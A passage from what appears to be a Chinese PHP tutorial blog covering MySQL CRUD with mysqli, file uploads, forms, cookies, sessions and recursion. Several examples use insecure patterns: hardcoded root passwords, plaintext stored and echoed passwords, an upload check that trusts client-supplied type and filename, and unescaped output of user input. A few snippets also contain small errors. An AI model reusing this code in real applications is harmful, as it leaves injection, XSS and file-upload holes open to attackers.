"连接失败: " . mysqli_connect_error();}$sql="select * from sys_user";$result = mysqli_query($con,$sql);$array=mysqli_fetch_all($result,MYSQLI_ASSOC);foreach ($array as $key => $row){ echo $row['user_name'] . " " . $row['password']; echo "<br>";}?> 四、SQL语句查询结果的行数mysqli_num_rows() 函数mysqli_num_rows() 函数返回结果集中行的数量. 语法: 1mmysqli_num_rows(result); 参数: result必需.规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符. 返回值:结果集中行的数量.例:如下例子将sql语句的结果集行数输出: 12345678910111213<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_error()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user where user_name='康维'";$result = mysqli_query($con,$sql);echo "查询结果的行数为:".mysqli_num_rows($result);?> 五、PHP MySQL 创建数据库数据库存有一个或多个表. 你需要 CREATE 权限来创建或删除 MySQL 数据库. 接下来都将以面向过程的方式来执行sql语句. 面向过程创建数据库12345678910111213141516171819202122<?php$servername = "localhost";$username = "root";$password = "root123"; // 创建连接$conn = mysqli_connect($servername, $username, $password);// 检测连接if (!$conn) { die("连接失败: " . mysqli_connect_error());} // 创建数据库$sql = "CREATE DATABASE myDB";if (mysqli_query($conn, $sql)) { echo "数据库创建成功";} else { echo "Error creating database: " . mysqli_error($conn);} mysqli_close($conn);?> 六、PHP 创建 MySQL 表一个数据表有一个唯一名称,并有行和列组成. sql语句设计CREATE TABLE 语句用于创建 MySQL 表. 创建表前,我们需要使用 use test 来选择要操作的数据库”test”: 我们将创建一个名为 “user” 的表,有 9个列: “id”, “username”, “password”, “email” ,”phone”,”touxiang”,”address”,”sex”,”addtime”: 123456789101112create table user( `id` int not null auto_increment, `username` varchar(20) not null unique, `password` varchar(36) not null, `email` varchar(50) not null, `phone` varchar(15) not null, `touxiang` varchar(255) default './images/default.jpg', `address` varchar(255) not null, `sex` varchar(5) not null, `addtime` varchar(100) not null, primary key (id) )ENGINE=InnoDB DEFAULT CHARSET=utf8; 在设置了数据类型后,你可以为每个列指定其他选项的属性: NOT NULL - 每一行都必须含有值(不能为空),null 值是不允许的. DEFAULT value - 设置默认值 UNSIGNED - 使用无符号数值类型,0 及正数 AUTO INCREMENT - 设置 MySQL 字段的值在新增记录时每次自动增长 1 PRIMARY KEY - 设置数据表中每条记录的唯一标识. 通常列的 PRIMARY KEY 设置为 ID 数值,与 AUTO_INCREMENT 一起使用. 每个表都应该有一个主键(本列为 “id” 列),主键必须包含唯一的值. 下面是两种创建数据库方式: MySQLi - 面向过程创建数据表1234567891011121314151617181920212223242526272829303132333435<?php$servername = "localhost";$username = "root";$password = "root123";$dbname = "myDB"; // 创建连接$conn = mysqli_connect($servername, $username, $password, $dbname);// 检测连接if (!$conn) { die("连接失败: " . mysqli_connect_error());} // 使用 sql 创建数据表$sql = "create table user( `id` int not null auto_increment, `username` varchar(20) not null unique, `password` varchar(36) not null, `email` varchar(50) not null, `phone` varchar(15) not null, `touxiang` varchar(255) default './images/default.jpg', `address` varchar(255) not null, `sex` varchar(5) not null, `addtime` varchar(100) not null, primary key (id) )ENGINE=InnoDB DEFAULT CHARSET=utf8;"; if (mysqli_query($conn, $sql)) { echo "数据表 user 创建成功";} else { echo "创建数据表错误: " . mysqli_error($conn);} mysqli_close($conn);?> 七、PHP MySQL 插入数据在创建完数据库和表后,我们可以向表中添加数据. 以下为一些语法规则: PHP 中 SQL 查询语句必须使用引号 在 SQL 查询语句中的字符串值必须加引号 数值的值不需要引号 NULL 值不需要引号 INSERT INTO 语句通常用于向 MySQL 表添加新的记录: 12INSERT INTO table_name (column1, column2, column3,...)VALUES (value1, value2, value3,...) 本地test数据库已经创建了表 “user”,表字段有: “id”, “username”, “password” ,”email”,”phone”,”touxiang”,”address”,”sex”,”addtime”. 现在,让我们开始向表填充数据. 例子:向 “user” 表添加了新的记录MySQLi - 面向过程: 1234567891011121314151617181920212223<?php$servername = "localhost";$username = "root";$password = "root123";$dbname = "myDB"; // 创建连接$conn = mysqli_connect($servername, $username, $password, $dbname);// 检测连接if (!$conn) { die("Connection failed: " . mysqli_connect_error());} $sql = "insert into user(username, password,email,phone,address,sex,addtime) values('zhangsan','984556','182@qq.com','16521131154','赛客路100号','nan','2023-1-1');"; if (mysqli_query($conn, $sql)) { echo "新记录插入成功";} else { echo "Error: " . $sql . "<br>" . mysqli_error($conn);} mysqli_close($conn);?> 八、PHP MySQL Delete DELETE 语句用于从数据库表中删除行. 删除数据库中的数据DELETE FROM 语句用于从数据库表中删除记录. 语法12DELETE FROM table_nameWHERE some_column = some_value 如下删除实例 数据库myDB中user表: 下面的实例删除 “user” 表中username=’lisi’ 的记录: 12345678910111213<?php$con=mysqli_connect("127.0.0.1","root","root123","myDB");// 检测连接if (mysqli_connect_errno()){ echo "连接失败: " . mysqli_connect_error();}mysqli_query($con,"delete from user where username='lisi' ");mysqli_close($con);?> 结果: 九、PHP MySQL UpdateUPDATE 语句用于中修改数据库表中的数据. 更新数据库中的数据UPDATE 语句用于更新数据库表中已存在的记录. 语法123UPDATE table_nameSET column1=value, column2=value2,...WHERE some_column=some_value 如下更改实例,数据库myDB中user表: 这里更改 “user” 表中username=’wangwu’改成’奥特曼’: 1234567891011121314151617181920212223242526<?php// 连接到 MySQL 数据库$servername = "localhost";$username = "root";$password = "root123";$dbname = "myDB";$conn = mysqli_connect($servername, $username, $password, $dbname);// 检查连接是否成功if (!$conn) { die("连接失败: " . mysqli_connect_error());}// 执行更新操作$sql = "UPDATE user SET username = '奥特曼' WHERE username='wangwu'";if (mysqli_query($conn, $sql)) { echo "记录更新成功";} else { echo "更新失败: " . mysqli_error($conn);}// 关闭连接mysqli_close($conn);?> 结果: 十、PHP MySQL 查询数据语法:select 字段或表达式列表 [from 子句] [where 子句] [order by 子句] [limit 子句]; 123456789101112131415161718192021222324252627282930313233343536--字段或表达式列表1)字段,自然是来源于"表",则其必然依赖于 from 子句;2)表达式是类似这样一个内容:8, 8+3, now(),concat()函数是 mysql 中的系统函数,用于"连接"多个字符串;3)每个"输出项"(字段或表达式结果),都可以给其设定一个"别名"(字段别名)形式为:字段或表达式 as 别名;设置别名,实际上,表的字段并没有改变,而只是改变了"结果集"的字段名;--from 子句from 子句表示 select 部分从中"取得"数据的数据源--其实就是表.--where 子句说明:1)where 子句就是对 from 子句中的"数据源"中的数据进行筛选的条件设定,筛选的机制是"一行一行进行判断",其作用,几乎就跟各种语言中 if 语句的作用一样.2)where 子句依赖于 from 子句;3)where 子句中,通常都需要使用各种"运算符"; 算术运算符: + - * / % 比较运算符: > >= < <= =(等于) < >(不等于) ==(等于) !=(不等于) 逻辑运算符: and or not 4)对 where 子句的更进一步理解:where true 取出全部记录where false 不取出任何记录--order by 子句它用于将前面"取得"的数据以设定的标准(字段)来进行排序以输出结果.形式:order by 字段 1 [asc|desc], 字段 2 [asc|desc],......说明:1)对前面的结果数据以指定的一个或多个字段排序;2)排序可以指定正序(asc,默认值)或倒序(desc);3)多个字段的排序,都是在前一个字段排序基础上,如果还有"相等值",才继续以后续字段排序;--limit 子句含义:它用于将"前述取得的数据",按指定的行取出来:从第几行开始取出多少行;形式:limit 起始行号,要取出的行数;说明:1.起始行号都是从 0 开始算起的;2.起始行号跟数据中的任何一个字段(比如 id)没有关系;3.要取出的行数也是一个数字,自然应该是大于 0 的;4.有一个简略形式:limit 行数; 表示直接从第 0 行开始取出指定的行数,它相当于limit 0, 行数; 下面的实例读取 “user” 表中存储的所有数据,并根据 “username” 列对结果进行排序: 123456789101112131415161718192021<?php$con=mysqli_connect("127.0.0.1","root","root123","myDB");// 检测连接if (mysqli_connect_errno()){ echo "连接失败: " . mysqli_connect_error();}$result = mysqli_query($con,"select * from user order by username");while($row = mysqli_fetch_array($result)){ echo $row['username']; echo " 密码:" . $row['password']; echo " 邮箱:" . $row['email']; echo " 手机号:" . $row['phone']; echo " 性别:" . $row['sex']; echo "<br>";}mysqli_close($con);?> 结果显示:","tags":["PHP","编程语言"]},{"title":"PHP-文件上传","path":"/2023/09/06/d0324d08/","content":"总字符数: 3.57K 代码: 2.13K, 文本: 0.95K 预计阅读时间: 13 分钟 一、PHP 文件上传流程通过 PHP,可以把文件上传到服务器. 原理:文件从用户本地电脑通过传输方式(web表单)保存到服务器所在电脑指定的目录下. 1、 增加文件上传的表单:浏览器请求一个服务器的HTML脚本(包含文件上传表单) 2、 用户从本地选择一个文件(点击上传框(按钮) ) 3、 用户点击上传:文件会通过互联网传输到服务器上 4、 服务器操作系统会将文件保存到临时目录:以临时文件格式保存(windows下tmp) 5、 服务器脚本开始工作:判断文件有效 6、 服务器脚本将有效文件从临时目录移动到指定目录下(完成) 二、html中用来文件上传的表单如下上传文件的表单: 123456<form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">上传文件:</label><input type="file" name="file" id="file" /> <br /><input type="submit" name="submit" value="上传" /></form> <form>标签的 enctype 属性规定了在提交表单时要使用哪种内容类型.在表单需要二进制数据时,比如文件内容,请使用 “multipart/form-data”. <input> 标签的 type=”file” 属性规定了应该把输入作为文件来处理.举例来说,当在浏览器中预览时,会看到输入框旁边有一个浏览按钮. 注意:允许用户上传文件是一个巨大的安全风险.请仅仅允许可信的用户执行文件上传操作. 三、php中接收接表单上传文件的脚本如下”upload.php” 文件脚本代码: 12345678910111213<?phpif ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; }else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; }?> 通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件. 第一个参数是表单的 input name,第二个下标可以是 name, type, size, tmp_name 或 error.就像这样: $_FILES["file"]["name"]- 被上传文件的名称 $_FILES["file"]["type"] -被上传文件的类型 $_FILES["file"]["size"] - 被上传文件的大小,以字节计 $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称 $_FILES["file"]["error"] - 由文件上传导致的错误代码 四、如何定义上传文件的限制如下脚本中,我们增加了对文件上传的限制.用户只能上传 .gif 或 .jpeg 文件,文件大小必须小于 20 kb: 12345678910111213141516171819202122232425<?phpif ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } }else { echo "Invalid file"; }?> 五、如何保存被上传的文件由于通过html表单上传的文件是作为临时文件存储,这个临时的文件会在脚本结束时销毁,所以我们需要将文件另存到一个固定的路径,存储被上传的文件需要用到的就是PHP move_uploaded_file() 函数 1、move_uploaded_file() 函数定义和用法: move_uploaded_file() 函数将上传的文件移动到新位置. 若成功,则返回 true,否则返回 false. 1move_uploaded_file(file,newloc) 参数: file :必需,规定要移动的文件路径. newloc : 必需,规定文件的新位置. 注:本函数仅用于通过 HTTP POST 上传的文件,如果目标文件已经存在,将会被覆盖. 2、php用来另存临时文件的代码示例上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本. 这个临时的复制文件会在脚本结束时消失.要保存被上传的文件,我们需要把它拷贝到另外的位置: 12345678910111213141516171819202122232425262728293031323334<?phpif ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } }else { echo "Invalid file"; }?> 以上例子把文件保存到了名为 “upload” 的新文件夹.","tags":["PHP","编程语言"]},{"title":"PHP-表单","path":"/2023/09/05/5a76691e/","content":"总字符数: 13.57K 代码: 7.34K, 文本: 3.42K 预计阅读时间: 47 分钟 一、PHP 表单PHP 中的 $_GET 和$_POST变量用于检索表单中的信息,比如用户输入. 表单处理有一点很重要的事情值得注意,当处理 HTML 表单时,PHP 能把来自 HTML 页面中的表单元素自动变成可供 PHP 脚本使用. PHP $_GET 变量在 PHP 中,预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值. 预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值. 从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制. 实例 1234567891011121314<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>表单</title></head><body><form action="form.php" method="get"> 用户名:<input type="text" name="username"> 密码:<input type="text" name="password"> <input type="submit" value="提交"></form></body></html> login.php1234<?php$username = $_GET['username'];$password = $_GET['password'];echo "账号:".$username."密码:".$password; 测试如下: 提交后,可看到发送到服务器的URL如下所示,而此时see.php文件即可通过$_GET变量来收集表单数据了,这里需要注意的是,表单域的名称会自动成为$_GETbuh数组中的键: 何时使用method=”get”呢? 在HTML表单中使用method=”get”时,所有变量名和值都会显示在URL中,因此在发送密码或其他敏感信息时,不应该使用该方法. 正因为变量显示在URL中,因此可在收藏夹中收藏该页面,在某些情况下,这很有用.但HTTP GET方法不适合大型的变量值,它的值不能超过2000个字符. PHP $_POST 变量在 PHP 中,预定义的 $_POST 变量用于收集来自 method=”post” 的表单中的值. 从带有POST方法的表单发送的消息,对任何人都是不可见的,也就是不会显示在浏览器的地址栏中,且对发送消息的量也没有限制.然而,默认情况下,POST方法的发送消息量最大为8MB,可通过设置php.ini文件中的post_max_size进行更改. 1234567891011121314<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>表单</title></head><body><form action="form.php" method="post"> 用户名:<input type="text" name="username"> 密码:<input type="text" name="password"> <input type="submit" value="提交"></form></body></html> login.php1234<?php$username = $_POST['username'];$password = $_POST['password'];echo "账号:".$username."密码:".$password; 点提交后,login.php通过$_POST变量来收集表单数据,表单域的名称会自动成为$_POST数组中的键 何时使用method=”post”呢? 从带有POST方法的表达发送的信息,对任何人都是不可见的,且对发送信息的量也没有限制. GET和POST的区别: 请求方式 GET POST 参数位置 url的query中 一般在content中,query也可 参数大小 受限于浏览器url大小,一般不超过32K 1G 服务器数据接收 接收1次 根据数据大小,可分多次接收 适用场景 从服务器端获取数据,不做增删改 向服务器提交数据,如何增删改操作 安全性 参数携带的url中,安全性低 相对于GET请求,安全性更高 多数浏览器对POST采用两阶段发送数据,先发请求头,再发请求体,即使参数少也会被分成两个步骤来发送,也就是第一步发header数据,第二步发body数据.HTTP为应用层协议,而再传输层有些情况TCP会出现两次连接的过程,HTTP协议本身不保存状态信息,一次请求一次相应,对TCP而言,通信次数越多反而越不可靠,最可靠的就是在一次连接中就传输完需要的消息,尽量使用GET请求来减少网络耗时,若通信时间增加,这段时间客户端与服务端一直保持连接状态,可能增加服务端负载,可靠性就会下降. GET请求会被cache,也就是GET请求能够被保持在浏览器中,尤其是当GET提交密码等重要数据,别人查看历史记录,便可直接看到这些私密数据,而POST不会进行cache.(cache:储存缓存) GET参数带在URL后面,传统IE中URL的最大可用长度为2048个字符,其他浏览器对URL长度限制实现上各不相同,而POST请求理论上无长度限制. GET提交的数据大小,不同浏览器的限制不同,一般在2K-8K之间,POST提交数据比较大,大小由服务器来设定,而且某些数据只能用POST方法携带,比如file. 全部用POST不合理,最好先把请求按功能和场景先分一下类,对数据请求频繁,数据不敏感且数据量在普通浏览器最小限定的2K范围内的,这种情况下使用GET,其他情况使用POST. GET的本质是”得”,而POST本质是”给”,且GET是”幂等”的,在这一点上,GET被认为是”安全的”,实际上服务端也可用作资源更新,但这种用法违反约定,容易造成CSRF也就是跨站请求伪造. GET安全性非常低,POST安全性较高. 获取下拉菜单的数据PHP 下拉菜单单选以下实例设置了下拉菜单三个选项,表单使用 GET 方式获取数据,action 属性值为空表示提交到当前脚本,我们可以通过 select 的 name 属性获取下拉菜单的值: teacher.php123456789101112131415161718192021<?phpif(isset($_GET['teacher'])){ $teacher = htmlspecialchars($_GET['teacher']);}if($teacher =='Allen') { echo 'Allen老师精通python语言.';} else if($teacher =='Bob') { echo 'Bob老师精通Go语言.';} else if($teacher =='Tony') { echo 'Tony老师全能大师';}?><form action="" method="get"> <select name="teacher"> <option value="">选择老师:</option> <option value="Allen">Allen</option> <option value="Bob">Bob</option> <option value="Tony">Tony</option> </select> <input type="submit" value="提交"></form> 注意:htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变.如果 string 包含无效的编码,则返回一个空的字符串 单选按钮表单PHP 单选按钮表单中 name 属性的值是一致的,value 值是不同的. 123456789101112131415161718<?phpif(isset($_GET['sex'])){ $sex = htmlspecialchars($_GET['sex']);}if($sex =='boy') { echo 'you are a boy !';} else if($sex =='girl') { echo 'you are a girl !';}else{ echo "请进行选择!!";}?><form action="" method="get"> <input type="radio" name="sex" value="boy" />男 <input type="radio" name="sex" value="girl" />女 <input type="submit" value="提交"></form> checkbox 复选框PHP checkbox复选框可以选择多个值: 1234567891011121314151617<?phpif(isset($_POST['teacher'])){ $teacher = $_POST['teacher'];}if(is_array($teacher)){ $sites = array("allen"=>"Allen老师精通Python语言","bob"=>"Bob老师精通Go语言","tony"=>"Tony老师全能大师"); foreach ($teacher as $k=>$v){ echo $sites[$v]."</br>"; }}?><form action="" method="post"> <input type="checkbox" name="teacher[]" value="allen"> Allen<br> <input type="checkbox" name="teacher[]" value="bob"> Bob<br> <input type="checkbox" name="teacher[]" value="tony"> Tony<br> <input type="submit" value="提交"></form> 表单的非空判断empty() 函数作用: 该函数用于检查一个变量是否为空,当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在.如果变量不存在的话,empty()并不会产生警告. 注意: empty() 在5.5 版本之后支持表达式了,而不仅仅是变量. 语法: bool empty ( mixed $var ) 返回值: 当 var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE. 以下的变量会被认为是空的: ""(空字符串) 0 (作为整数的0) 0.0(作为浮点数的0) "0"(作为字符串的0) NULL FALSE array()(一个空数组) $var;(一个声明了,但是没有值的变量) 如下empty()函数判断字符串是否为空: 12345678910111213141516171819<?php $str1=""; $str2='php'; if (empty($str1)) { echo '$str1' . " 为空或为 0." . "<br>"; } else { echo '$str1' . " 不为空或不为 0." . "<br>"; } if (empty($str2)) { echo '$str2' . " 为空或为 0." . "<br>"; } else { echo '$str2' . " 字符串不为空或不为0." . "<br>"; } 表单实例1. 登录表单如下登录form表单: 12345678910111213141516171819202122232425262728293031<?phpif (isset($_POST['submit'])) { if (!isset($_POST['username']) || !isset($_POST['password'])) { exit("账号或密码为空"); } $username = $_POST['username']; $password = $_POST['password']; if($username!=='admin'||$password!=='admin'){ exit("账号或密码不正确"); } echo "登录成功";}?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>登录界面</title></head><body><form action="" method="post"> <div style="text-align:center"> <h1>登录页面</h1> 用户名:<input type="text" name="username"></br> 密码:<input type="password" name="password"></br> <input type="submit" value="登录" name="submit"> <a href="register.php" target="_blank">注册</a> </div></form></body></html> 表单呈现: 2. 注册表单如下注册form表单: 123456789101112131415161718192021222324252627282930313233343536373839<?phpif(isset($_POST['submit'])){ // 获取所有数据 $username = trim($_POST['username']); $password = trim($_POST['password']); $repassword = trim($_POST['repassword']); $email = trim($_POST['email']); $phone = (int)trim($_POST['phone']); $sex = trim($_POST['sex']); $addres = trim($_POST['address']); var_dump($_POST); // 检查用户输入的主要数据是否为空等 if(empty($username)&&empty($password)&&empty($repassword)){ exit("请确认输入了账号密码"); } if($password!==$repassword){ exit("重复密码不匹配"); } // 其他的都可以检查,自行检查吧 echo "<script>alert('注册成功');</script>";}?><form action="" method="post"> <div style="text-align:center"> <h1>注册页面</h1> 用户名:<input type="text" name="username" id="username" maxlength="5"></br> 密码:<input type="password" name="password" id="password"></br> 重复密码:<input type="password" name="repassword" id="repassword"></br> 邮箱:<input type="email" name="email" id="email"></br> 手机号:<input type="number" name="phone" id="phone"></br> 性别: 男:<input type="radio" name="sex" value="boy" checked="checked"></br> 女:<input type="radio" name="sex" value="girl" checked="checked"></br> 家庭住址: <input type="text" name="address" id="address"></br> <input type="submit" value="注册" name="submit"> <a href="login.php" target="_blank">登录</a>\t</div></form> 表单呈现: 3. 留言表单如下留言form表单: 1234567891011121314151617<?phpif (isset($_POST['submit'])){ if(empty($_POST['title']&&empty($_POST['content']))){ exit("没有内容"); } echo $_POST['title']."</br>"; echo $_POST['content'];}?><form action="" method="POST"> <div style="text-align:center"> <h1>留言吧:</h1> <input type="text" name="title" placeholder="请输入留言标题"><br> <textarea name="content" rows="5" cols="50"></textarea><br> <input type="submit" value="留言" name="submit"> </div></form> 表单呈现: 4. 个人中心表单如下留言form表单: 123456789101112131415161718192021<?php$avatar = "https://gw.alicdn.com/i1/710600684/O1CN01OwjnvQ1GvJkcNOcpb_!!710600684.jpg_Q75.jpg_.webp";$username = "admin";$email = "admin@admin.com";$phone = 12998765641;$address = "扭曲丛林99号";$sex = "男";?><div style="text-align:center"> <h1>个人中心</h1> <img src="<?php echo $avatar?>" width="120" height="70"><br> <form> <input type="file" name="filename" > <input type="submit" name="submit" value="提交" ><br> 用户名:<input type="text" name="username" value="<?php echo $username?>" ><br> 邮箱:<input type="text" name="email" value="<?php echo $email?>" ><br> 手机号:<input type="text" name="phone" value="<?php echo $phone?>" ><br> 家庭住址:<input type="text" name="address" value="<?php echo $address?>" ><br> sex:<input type="text" name="sex" value="<?php echo $sex?>" ><br </form></div> 表单呈现: 二、Cookie和Session的简介Cookie和Session都是用于在Web应用程序中存储和管理用户状态信息的机制. Cookie是由Web服务器发送给Web浏览器的小数据文件,存储在用户计算机上.它可以包含有关用户的个人偏好设置、登录凭据等信息.每次用户访问该站点时,浏览器会将cookie发送回服务器,以方便Web服务器识别和跟踪用户. Session则是在服务器端创建的一段时间内存储用户状态的机制.当用户首次访问网站时,web服务器会为其分配一个唯一的session ID,并将该ID存储在cookie中.Web浏览器将在每个请求中发送该cookie,以便Web服务器可以将请求与正确的会话关联起来. 总之,Cookie存储客户端数据,而Session存储服务器端数据,并且Session比Cookie更安全,因为所有的Session数据都存储在服务器端. PHP Cookie 浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器. Cookie名称和值可以由服务器端开发者定义,这样服务器可以知道该用户是否是合法用户以及是否需要重新登录等,服务器可以设置或读取Cookies中包含信息,借此维护用户跟服务器会话中的状态. 注意 :每种浏览器都可以存储COOKIE数据;各个浏览器之间的COOKIE数据不能共享 1、创建 cookie使用setcookie() 函数用于设置 cookie. 注: setcookie() 函数必须位于 <html> 标签之前. 语法: 1setcookie(name, value, expire, path, domain); 参数: 123456name\t必需.规定 cookie 的名称.value\t必需.规定 cookie 的值.expire\t可选.规定 cookie 的过期时间.path\t可选.规定 cookie 的服务器路径.domain\t可选.规定 cookie 的域名.secure\t可选.规定是否需要在安全的 HTTPS 连接来传输 cookie. 实例操作:在1.php中创建如下创建名为 user 的 cookie,并为它赋值 admin: 123<?phpsetcookie("user", "admin");?> 2、在其他页面中取回 Cookie 的值PHP 中获取cookie数据是通过超全局数组$COOKIE来实现的. 实例操作:在2.php中取回名为 user 的 cookie 的值,并把它显示在页面上: 123<?phpecho $_COOKIE["user"]; //输出COOKIE?> 输出效果: 1admin 3、删除COOKIE数据 设置有效期为过去的某一个时间 如下: 12345<?php //假设我们的网站上有一个"记住我"的功能,用户可以选择保持登录状态.当用户选中了"记住我"后,您可以使用 Cookie 来实现自动登录的功能.// 当用户手动退出账号之后我们就可以用以下方法去删除Cookie,不在实现自动登录功能setcookie("user", "", time()-3600); //将过期时间设置为当前时间减去3600 秒(即使 Cookie 过期)?> 设置COOKIE的值为false或空字符串 12setcookie("user", "false");setcookie("user", ""); 清理浏览器缓存 4、COOKIE优缺点 COOKIE存储在客户端,相对来说不太安全. COOKIE存储的数据类型,只能是字符串. COOKIE存储的数据容量,大约只能存储4KB数据. 浏览器可以禁用缓存,也可以禁用COOKIE,则COOKIE功能就失效. PHP Session PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置.Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的. 1、开启SESSION会话功能(session_start()函数)$SESSION变量默认是不存在的,因此,必须先开启SESSION,才能使用$SESSION变量; 注意: session_start() 函数必须位于 <html> 标签之前 用法: 1234567<?php session_start(); ?><html><body></body></html> 上面的代码会向服务器注册用户的会话,以便您可以开始保存用户信息,同时会为用户会话分配一个 UID. 一个网站不管添加多少个SESSION数据,最终在浏览器端只存储一个SESSION的UID值. 注意: 每个需要SESSION数据的页面,都要开启SESSION功能 SESSION功能,不能重复开启(同一个页面不能开2次) 2、存储 Session 变量存储和取回 SESSION 变量的正确方法是使用 PHP $_SESSION 变量用法: 1$_SESSION['变量名'] 实例操作:在1.php中开启SESSION功能,并且给SESSION变量uid赋值为admin 12345678910111213<?phpsession_start();$_SESSION['uid']="admin";?><!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>admin</title></head><body></body></html> 3、在其他页面中取回SESSION变量的值实例操作:在2.php中开启SESSION功能,并且将SESSION变量uid输出 1234567891011121314151617<?phpsession_start();?><!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>admin</title></head><body><?phpecho "userid=". $_SESSION['uid'];?></body></html> 输出结果: 1userid=admin 4、销毁Session删除某些 SESSION 数据,可以使用 unset() 或 session_destroy() 函数. unset() 函数用于释放指定的 SESSION 变量: 123<?phpunset($_SESSION['uid']);?> 也可以通过 session_destroy() 函数彻底终结 SESSION: 123?phpsession_destroy();?> 注意: session_destroy() 将重置 SESSION,您将失去所有已存储的 SESSION 数据,使用的时候慎重. 5、SESSION的优点和特点 Session对象存储特定用户的会话数据; Session将会话数据存储在服务器端; Session是基于Cookie技术的,没有Cookie就没有Session; Session在整个用户会话中,一直存在下去,一个用户会话时效:从用户登录开始,到用户登录结束; Session存储的数据量要比cookie大的多; Session存储的内容类型,不限于字符串; Session数据存储在服务器端,更安全,可靠. Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量.UID 存储在 cookie 中,亦或通过 URL 进行传导. cookie和session主要区别: Cookie以文本文件格式存储在浏览器中,而session存储在服务端. cookie的存储限制了数据量,只允许4KB,而session是无限量的 我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全 设置cookie时间可以使cookie过期.但是使用session-destory(),我们将会销毁会话 三、使用我们的Cookie或Session完成表单项目未完待续…. 思考?生产环境中为什么没有人会把所有的或者敏感信息存放到session或者Cookie当中呢?","tags":["PHP","编程语言"]},{"title":"PHP-算法初识~","path":"/2023/09/04/258025d3/","content":"总字符数: 8.08K 代码: 5.11K, 文本: 2.83K 预计阅读时间: 35 分钟 编程思想编程思想:如何利用数学模式,来解决对应的需求问题:然后利用代码实现对应的数据模型(逻辑).算法:使用代码实现对应的数学模型,从而解决对应的业务问题. 逆推算法递推算法是一种简单的算法,即通过已知条件,利用特定关系得出中间推论,直至得到结果的算法.递推算法分为顺推和逆推两种. 顺推:通过最简单的条件(已知),然后逐步推演结果 逆推:通过结果找到规律,然后推到已知条件 斐波那契数列: 1 1 2 3 5 8 13 …通常需求:请求得指定位置N所对应的值是多少找规律: 第一个数是1 第二个数也是1 从第三位开始:属于前两个数的和 代码解决思路: 如果数字位置为1和2,结果都是1 从第三个开始,想办法得到前两个的结果,就可以得到 终极解决办法:想办法把要求的位置之前的所有的值都出来,那么要求的数就可以通过前两个之和计算出来:使用数组存储所有结果即可. 12345678910111213141516171819202122232425//递推思想(算法)//需求:规律1 1 2 3 5 ...//求出指定位数对应的值//已知条件:第一个和第二个数都为1,第三个开始为前两个之和function my_recursive($des){ //判断:如果为第一个或第二个直接返回结果 if($des==1||$des==2) return 1; //开始计算: $f[1] =1; $f[2]=1; //如果想要第一个或者第二个结果,那么可以直接给出 for($i=3;$i<=$des;$i++){ $f[$i]=$f[$i-1]+$f[$i-2]; } //返回结果 return $f[$des];}//调用函数并查看结果echo my_recursive(10);结果:55 递归算法递归算法是把问题转化为规模缩小了的同类问题的子问题.然后递归调用函数(或过程〉来表示问题的解. 简化问题:找到最优子问题(不能再小) 函数调用自己 斐波那契序列:1 1 2 3 5 8 13…需求:求指定位置的数列的值规律:第一个和第二个为1,从第三个开始为前两个之和假设:F(N) = F(N-1)+F(N-2);F(N-1) = F(N-1)+F(N-3);···F(2)=F(1)=1 递归思想中:有两个非常重要的点递归点:发现当前问题可以有解决当期问题的函数,去解决规模比当前小一点的问题来解决F(N) = F(N-1)+F(N-2);递归出口:当问题解决的时候,已经到达(必须有)最优子问题,不能再次调用函数如果一个函数递归调用自己而没有递归出口:就是死循环递归的本质是函数调用函数:一个函数需要开辟一块内存空间,递归会出现同时调用N多个函数(自己):递归的本质是利用空间换时间 